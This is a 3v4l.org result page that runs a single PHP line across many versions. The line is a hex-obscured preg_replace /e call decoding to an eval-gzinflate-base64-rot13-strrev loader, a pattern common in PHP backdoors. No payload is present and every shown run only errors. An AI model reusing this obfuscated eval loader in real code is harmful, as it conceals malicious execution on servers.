3v4l.org

run code in 300+ PHP versions simultaneously
<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x73\x74\x72\x5F\x72\x6F\x74\x31\x33\x28\x73\x74\x72\x72\x65\x76\x28\x24\x73\x63\x72\x69\x70\x74\x29\x29\x29\x29\x29\x3B","."); ?>
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.32, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/9F87Y on line 2
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/9F87Y on line 2
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.40
Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/9F87Y on line 2 Notice: Undefined variable: script in /in/9F87Y(2) : regexp code on line 1 Warning: gzinflate(): data error in /in/9F87Y(2) : regexp code on line 1 Notice: Undefined variable: script in /in/9F87Y(2) : regexp code on line 1 Warning: gzinflate(): data error in /in/9F87Y(2) : regexp code on line 1

preferences:
230.26 ms | 402 KiB | 320 Q